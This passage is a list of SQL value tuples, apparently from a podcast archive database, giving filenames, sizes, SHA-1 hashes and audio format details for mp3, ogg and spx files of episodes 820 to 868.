(820,'hpr0820.ogg','ogg',6794917,'b1c35d43f54a35c6c5319d5f2e9013a956cf9bf3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(820,'hpr0820.spx','spx',4691743,'d82cb436f76222749bd0a80f7ec2eab18af966ef','application/ogg; charset=binary','Ogg data, Speex audio'),
(821,'hpr0821.mp3','mp3',34654650,'1274e7c1c7cc3a1a41c3f142f26a7dd8a54d4f09','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(821,'hpr0821.ogg','ogg',16376023,'1d92a0271b490c4a31eb0b6624ad140d89871d14','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(821,'hpr0821.spx','spx',10318313,'f4247803df77a2d54047469f5155d87b014d96fd','application/ogg; charset=binary','Ogg data, Speex audio'),
(822,'hpr0822.mp3','mp3',2968560,'6478a379c7d55fc7cdbd95313fae7f0595339a32','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(822,'hpr0822.ogg','ogg',2078065,'7665675234b4985576c6d5d9834cadc3e06c70b2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(822,'hpr0822.spx','spx',884064,'b995c1cd8f0967339203da884eb052da0360ba85','application/ogg; charset=binary','Ogg data, Speex audio'),
(823,'hpr0823.mp3','mp3',4060517,'59463a87dc839e5a5b31e32297a7c8ded6ab380a','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(823,'hpr0823.ogg','ogg',4513768,'77990c9e125d73c9ceed33b195b04fc79608b572','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(823,'hpr0823.spx','spx',1813519,'9350ba906c4d0ec93e678a4fb512917ca6d259b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(824,'hpr0824.mp3','mp3',11589843,'9589521ed046eb945147bb48206f3489d024bbf2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(824,'hpr0824.ogg','ogg',6162483,'a6e15ddbd29e444bd0934106ad2ccf347c836b40','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(824,'hpr0824.spx','spx',3435999,'d6971ff30a16f35173ddcf38322fbf775f755048','application/ogg; charset=binary','Ogg data, Speex audio'),
(825,'hpr0825.mp3','mp3',14715497,'fa017bbc977d917f28e31543814974cfcd451f25','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(825,'hpr0825.ogg','ogg',14130308,'a7668bf7bb6ca19e79ab584228eddbafd6841716','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(825,'hpr0825.spx','spx',70730942,'301efc6f564ce0ee6dfaee46c58717a6aae42741','application/ogg; charset=binary','Ogg data, FLAC audio'),
(826,'hpr0826.mp3','mp3',19414398,'dd2d126196f9512f39c92862185888fb137943e5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(826,'hpr0826.ogg','ogg',14009455,'2aa3b4deb46d4fb07eba7bc7673dc8e90313b5b7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(826,'hpr0826.spx','spx',5780693,'2d7f6bb489d95fe39e3c6869cfebfced07940817','application/ogg; charset=binary','Ogg data, Speex audio'),
(827,'hpr0827.mp3','mp3',5733010,'d449ef5aedcc5b5f8c3a2992cdd4fcabb68d81fd','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(827,'hpr0827.ogg','ogg',6426499,'dd9087985df34525d49d4b54332a9234db3beb58','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(827,'hpr0827.spx','spx',2560490,'dea8027234be8f1e5540302607a17169c619201e','application/ogg; charset=binary','Ogg data, Speex audio'),
(828,'hpr0828.mp3','mp3',27684018,'e1270faabc42b8d58b465340fb7623addee67165','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(828,'hpr0828.ogg','ogg',13549338,'c44c8048776c3596888a755c4d8a54aae51a25f4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(828,'hpr0828.spx','spx',8242892,'2c79b89935e4baff7355c5826175ad9a76bd3583','application/ogg; charset=binary','Ogg data, Speex audio'),
(829,'hpr0829.mp3','mp3',26764400,'f49681b18307bd65cb7fdde7e9db3db38b9eb1c5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(829,'hpr0829.ogg','ogg',17426152,'784bd977a83a8b81ce51e6bb032086d7eff2f561','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(829,'hpr0829.spx','spx',7968829,'bd83c64784340558ff4752a4188d8aa5fdf9c034','application/ogg; charset=binary','Ogg data, Speex audio'),
(830,'hpr0830.mp3','mp3',19222876,'cac054e57c600895e9d5965f0b136af6343303e3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(830,'hpr0830.ogg','ogg',18916338,'6cc61e6c2ec92ac80eb582f7b72dffe13f52ec65','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(830,'hpr0830.spx','spx',90741061,'209fb4c65371c700b9d21d2e395741782a365d2e','application/ogg; charset=binary','Ogg data, FLAC audio'),
(831,'hpr0831.mp3','mp3',4166885,'4e0838ee789174935c7f2aff7e6c949fb161254e','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  48 kbps, 32 kHz, Monaural'),
(831,'hpr0831.ogg','ogg',5682048,'2ef45525bd8c3a67036be993da009b58612b72c2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(831,'hpr0831.spx','spx',2481208,'27e7380fb78f68c89d692bc9e9673e2b2ebad7a1','application/ogg; charset=binary','Ogg data, Speex audio'),
(832,'hpr0832.mp3','mp3',22792076,'8a355def88312a1ed362440230453601c5e14275','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(832,'hpr0832.ogg','ogg',15418901,'17800068d627b8fa3050bbf4d94c752b68575581','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(832,'hpr0832.spx','spx',6785993,'187de67fdd24aefff3bae7fbf265ed3c81f86e72','application/ogg; charset=binary','Ogg data, Speex audio'),
(833,'hpr0833.mp3','mp3',16337075,'f48dcb06991706baaa030bcd3661973d256e80c2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(833,'hpr0833.ogg','ogg',16117957,'ae8812d9fe0264d4e2d0468acdd146095e8d907b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(833,'hpr0833.spx','spx',78508686,'9dc00137a7c8e6b8924bb4a854342f331a92229d','application/ogg; charset=binary','Ogg data, FLAC audio'),
(834,'hpr0834.mp3','mp3',82260636,'3ca69d32be0302c915913643d1911a82455d5dfb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(834,'hpr0834.ogg','ogg',55096271,'b72ee4338868e0952a4b728d959d39021e2a2a84','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(834,'hpr0834.spx','spx',24492522,'94cc7ffe0c8d5291f154b15cc7a7e8c74555a848','application/ogg; charset=binary','Ogg data, Speex audio'),
(835,'hpr0835.mp3','mp3',23090769,'45c4b0b22387c1a971ac055ff3ccb0c780476337','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(835,'hpr0835.ogg','ogg',11025404,'540b4be8baac8e95d2fc6009cb462b1e760ea126','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(835,'hpr0835.spx','spx',6875266,'4e59f40d213e1467fabccb2e4995f70a840c3dc0','application/ogg; charset=binary','Ogg data, Speex audio'),
(836,'hpr0836.mp3','mp3',2925116,'7ac5ca74d84d150de05d29b5e571a0346991220b','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(836,'hpr0836.ogg','ogg',3231421,'7d6b51c4d93ea6ec98afc332478035f0802f71b3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(836,'hpr0836.spx','spx',1306421,'6b0231d345513f0f0ebbe7aef7cbcfa34d001307','application/ogg; charset=binary','Ogg data, Speex audio'),
(837,'hpr0837.mp3','mp3',5498458,'5cb55e00c11efc9c44e03b6b7a292f778e49cbcf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(837,'hpr0837.ogg','ogg',3772074,'7918712a207f693ca2ac00a1d056b76964c47270','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(837,'hpr0837.spx','spx',1637681,'8b2c236ab78efecd4a996e2be39ba5917970efce','application/ogg; charset=binary','Ogg data, Speex audio'),
(838,'hpr0838.mp3','mp3',28400318,'1feceac84d11c47acdd8df5bc2df4501173087e7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(838,'hpr0838.ogg','ogg',28630841,'cbeadfd2cc20127f4ff8464a2a23b7763f6792ba','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(838,'hpr0838.spx','spx',137065854,'7269cf0011088ff3ebc8f118935d0450a2b1d8d9','application/ogg; charset=binary','Ogg data, FLAC audio'),
(839,'hpr0839.mp3','mp3',17022639,'6ec00eb78526943430873157d54ebad6bf40d129','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(839,'hpr0839.ogg','ogg',9055483,'37bb8b55eae9160885ccb4126899abbced5e4ade','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(839,'hpr0839.spx','spx',5068399,'232aecfed3e7b6150196c10ab6f5cd94f6040edc','application/ogg; charset=binary','Ogg data, Speex audio'),
(840,'hpr0840.mp3','mp3',10158701,'aab0239be2d7f65b95c8d77e13e9cc73f9a2e438','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(840,'hpr0840.ogg','ogg',6486742,'bb519d0bfaaba7bd0b72f108b7fc05f2b364aef4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(840,'hpr0840.spx','spx',2523017,'bcfdffd64bb8046079343e7588e4c9653e2b01c9','application/ogg; charset=binary','Ogg data, Speex audio'),
(841,'hpr0841.mp3','mp3',8103224,'7f71d630cbee0e7597ad281fc86776d6a69206c1','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(841,'hpr0841.ogg','ogg',9659046,'6dad4867dcac70cb9fa74b4bb78bbc54453f1a47','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(841,'hpr0841.spx','spx',3619051,'1e2b2acb7f83034512d1f62dd9a3a9084b3e5b0b','application/ogg; charset=binary','Ogg data, Speex audio'),
(842,'hpr0842.mp3','mp3',7711855,'160928b105a5b6fef0fa5e64bd90a4680344fe61','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(842,'hpr0842.ogg','ogg',5354891,'c88a6b06e185f7a457f74d99213bdcc1535dadca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(842,'hpr0842.spx','spx',2296473,'6f8afc0843fbf18fbdc07c97a1bce93a5fde1ea2','application/ogg; charset=binary','Ogg data, Speex audio'),
(843,'hpr0843.mp3','mp3',14314253,'565c762b4c0579da9c4585af9eb6ef703f97b07a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(843,'hpr0843.ogg','ogg',6905018,'8554b5fa3953cd46602383a3d5384fb9dadc992f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(843,'hpr0843.spx','spx',4262127,'d9e51f5931f47af1272aca609e39546aba8da5aa','application/ogg; charset=binary','Ogg data, Speex audio'),
(844,'hpr0844.mp3','mp3',50117861,'f30a347a3e31513a00d6e0e819f0cfbd4448d16e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(844,'hpr0844.ogg','ogg',40972948,'4e3f0df72c98818a68f45fdceb217579f2b6e541','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(844,'hpr0844.spx','spx',11507547,'4f73abfd523a28383f01021bd17cf18e29ee53ae','application/ogg; charset=binary','Ogg data, Speex audio'),
(845,'hpr0845.mp3','mp3',7347963,'74ab884f39567369a66911dafea6cfdd8f187fdb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(845,'hpr0845.ogg','ogg',6748807,'43fd8544b2c3173d735960a6919d161e79566d33','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(845,'hpr0845.spx','spx',1687096,'15ebb13d6b672e526c807651086d59904cfe3dac','application/ogg; charset=binary','Ogg data, Speex audio'),
(846,'hpr0846.mp3','mp3',5764419,'ae409f8bac2a5c2bf7b38847e8d57501dd0f1913','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  48 kbps, 32 kHz, Monaural'),
(846,'hpr0846.ogg','ogg',8006260,'ab11abfaab64a99a9dc842889595c133fa2e89ab','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(846,'hpr0846.spx','spx',3432602,'f4b23837a6a8eaa220a76bf1ea0ae2f3f86b6258','application/ogg; charset=binary','Ogg data, Speex audio'),
(847,'hpr0847.mp3','mp3',22093369,'14ef3501c7b67b6635ab0ff6e7b3d07c423fae1a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(847,'hpr0847.ogg','ogg',15153150,'0b2f16f08f84e7f954ca8650480849f9dcde5f76','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(847,'hpr0847.spx','spx',4934514,'0a7f2632410d9c90a8a6d403c5bdde1b76d4ebae','application/ogg; charset=binary','Ogg data, Speex audio'),
(848,'hpr0848.mp3','mp3',7017745,'b3f47a904f2611a6f68c772b60d7ce92b1a47c16','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(848,'hpr0848.ogg','ogg',4778613,'4f55f62958af4e118b98affd219b90f96b8c81d3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(848,'hpr0848.spx','spx',2089617,'918607d0236d69708b6949559a3b86644cebe9da','application/ogg; charset=binary','Ogg data, Speex audio'),
(849,'hpr0849.mp3','mp3',21226643,'0a0f955dcb77e9d1c59653b8bb68120cc44e2fbc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(849,'hpr0849.ogg','ogg',21658564,'7cb67d62ce02c33286098436854912d287c30e43','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(849,'hpr0849.spx','spx',9480227,'3ebb9c0fc4ccc1d19ceb633ce376a7901ac9a727','application/ogg; charset=binary','Ogg data, Speex audio'),
(850,'hpr0850.mp3','mp3',23077773,'c6f6d78b146432fb9b94bd755e329d0b98223c38','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(850,'hpr0850.ogg','ogg',10850064,'c6acb0b17df183d07c03d325fb61aa4e005fd5b2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(850,'hpr0850.spx','spx',6871083,'49493464096716447512babf32880504ecb4f04d','application/ogg; charset=binary','Ogg data, Speex audio'),
(851,'hpr0851.mp3','mp3',16297121,'1fc360d58e5cfe710e8a8f37ca6470701771c21f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(851,'hpr0851.ogg','ogg',11625325,'d19de867b0d93ff3d17f9eef87c6d70230963b1b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(851,'hpr0851.spx','spx',4852430,'b6e8e7b68d04a2ef74ad7ae2d000a4ff4abab884','application/ogg; charset=binary','Ogg data, Speex audio'),
(852,'hpr0852.mp3','mp3',23206019,'b362e9d39653337d64cee6539f2e1018bf9cd2ef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  96 kbps, 16 kHz, Monaural'),
(852,'hpr0852.ogg','ogg',8757973,'7b6d4f3731750cb6b39a691fa1a78e044d9c1a73','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 16000 Hz, ~48000 bps, created by: Xiph.Org libVorbis I'),
(852,'hpr0852.spx','spx',6909536,'c1d018369a524b5d5d08fd99c3d9b60639707a65','application/ogg; charset=binary','Ogg data, Speex audio'),
(853,'hpr0853.mp3','mp3',34661737,'0110774ea8804c5179f3cdc8382e29871e088e0d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(853,'hpr0853.ogg','ogg',25030945,'e9f963e3ef618a9453ab649ab77a22b467e79c8a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(853,'hpr0853.spx','spx',10320298,'fc2d3aee9c0c88721c3e6e12f91b80b94dcdbeb5','application/ogg; charset=binary','Ogg data, Speex audio'),
(854,'hpr0854.mp3','mp3',51829634,'94aeeb3b0ce9532579ec73c7c1380a9c1f65048c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(854,'hpr0854.ogg','ogg',39349749,'6eea94eddd4e73c55d082fdd4b54ba55865481f1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(854,'hpr0854.spx','spx',15431962,'6034d8e59637195ba148df9afb8625dd68b02568','application/ogg; charset=binary','Ogg data, Speex audio'),
(855,'hpr0855.mp3','mp3',9014679,'61e1e187e8f7707f5613e953e9dc4f3d286512fe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(855,'hpr0855.ogg','ogg',5084087,'0e26fb41b0b72f0f88f9177547fc8c89e94e426d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(855,'hpr0855.spx','spx',2013027,'476f7943e1dacac4b991a5fc693649f3336d299b','application/ogg; charset=binary','Ogg data, Speex audio'),
(856,'hpr0856.mp3','mp3',28199040,'2c479f75cc71ecc6c8f31ef242e5d655fb3942ba','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(856,'hpr0856.ogg','ogg',14973544,'278225f29b9d8ace14076f025aabccea1049b0cd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(856,'hpr0856.spx','spx',8396151,'23f2fd4a7959b806d1d324fa326a6a492139de34','application/ogg; charset=binary','Ogg data, Speex audio'),
(857,'hpr0857.mp3','mp3',6094758,'c37632bb864bc6ee605ed377958c02c4647e8d5f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(857,'hpr0857.ogg','ogg',4470420,'ddfdab18bb025b31bda34d58d906154172bc7c85','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(857,'hpr0857.spx','spx',1814845,'9bd968ff950f79adc3200473ace6620732c7f5ec','application/ogg; charset=binary','Ogg data, Speex audio'),
(858,'hpr0858.mp3','mp3',24433994,'37003c2f4f275ef71a302c2aca6da3308f4147bc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(858,'hpr0858.ogg','ogg',11747122,'8ce7ed50668a0c0cd65911ce0afb29bfcbab27a0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(858,'hpr0858.spx','spx',7275227,'979a147d69857954bacf9f85e1632a361d2cdc74','application/ogg; charset=binary','Ogg data, Speex audio'),
(859,'hpr0859.mp3','mp3',23947343,'d35be2a1b1440af4b02c2167ee84b25dd256f123','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(859,'hpr0859.ogg','ogg',18326702,'7033ec3c7b47b03b29abc3d897f76b0f2ae525b6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(859,'hpr0859.spx','spx',7130167,'0621f025f7710e45bb8bf7608c998deccd854a8b','application/ogg; charset=binary','Ogg data, Speex audio'),
(860,'hpr0860.mp3','mp3',25224362,'22badbceb5b0cb7908a85e89b38fa9a20180ef98','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(860,'hpr0860.ogg','ogg',17209738,'d69c8b59ce8fbe49c09ceae689f62f616fbf23b1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(860,'hpr0860.spx','spx',5634048,'3be65e39d2df59da35969aa02395bde70a26a502','application/ogg; charset=binary','Ogg data, Speex audio'),
(861,'hpr0861.mp3','mp3',13173512,'ae8f24e9a499f1d699cae8ca2624b121af28d973','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(861,'hpr0861.ogg','ogg',7847223,'5e3641003b441a1b55a9ca92ccfd3f2ac692a5fc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(861,'hpr0861.spx','spx',3922478,'314e75edaaa49ec96feafaac68c7f1fef2687e9d','application/ogg; charset=binary','Ogg data, Speex audio'),
(862,'hpr0862.mp3','mp3',19271173,'4d42d3459bf8893a13634ee93e96acf945ba4895','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(862,'hpr0862.ogg','ogg',14710847,'e250ad769c563a7c0c7b2b5a2fdcbd045250b373','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(862,'hpr0862.spx','spx',5738038,'435d7903dfca5c2f7fbbcbcf263729b851de0ea8','application/ogg; charset=binary','Ogg data, Speex audio'),
(863,'hpr0863.mp3','mp3',5410775,'16a9138c647adcfe5c32edfdd156ad44fe71fe59','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(863,'hpr0863.ogg','ogg',3714206,'9dae86f0eefdbf209c8083e468740094b8ee205a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(863,'hpr0863.spx','spx',1611206,'f064cdce90db4304a194efc2595cdb44f9637aba','application/ogg; charset=binary','Ogg data, Speex audio'),
(864,'hpr0864.mp3','mp3',13347905,'5d188516e9945ca92561fb768a6162365ba555c2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(864,'hpr0864.ogg','ogg',7387033,'fb1a21fef959754848c838db647f39bfd907de44','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(864,'hpr0864.spx','spx',3959600,'1db65b3293ed2408308f90b589099a32893cd1c9','application/ogg; charset=binary','Ogg data, Speex audio'),
(865,'hpr0865.mp3','mp3',14152816,'2ba9e8ab861e6c6b4c3be0c52c2758baebc9884f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(865,'hpr0865.ogg','ogg',4363263,'3322bcbef91e2cae9c8391cacd99fd34cc68f580','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(865,'hpr0865.spx','spx',3160616,'96cebe3eba815ccd49534365191e9bb070ed9b25','application/ogg; charset=binary','Ogg data, Speex audio'),
(866,'hpr0866.mp3','mp3',29745718,'2163a82e02218071f32a75486580a56c6590f48d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  96 kbps, 22.05 kHz, Monaural'),
(866,'hpr0866.ogg','ogg',12894107,'6b38e0cf5c6377ee60d48585d1f0b81a25dfe73a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(866,'hpr0866.spx','spx',8856782,'a35e75cc09f94af37fe3bf7b00857d8c2eaac89a','application/ogg; charset=binary','Ogg data, Speex audio'),
(867,'hpr0867.mp3','mp3',23684478,'7f21b1a88f888b089be5bc81db5713a34eda1376','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(867,'hpr0867.ogg','ogg',11506612,'401f97b6ebb56b2161f67a7675120f2e39adaa05','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(867,'hpr0867.spx','spx',7052052,'af8555aa3a51690ae15db840ec758982d71fa47a','application/ogg; charset=binary','Ogg data, Speex audio'),
(868,'hpr0868.mp3','mp3',5661848,'e28cfa811aff7717c5c920b4772411aa0986f678','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
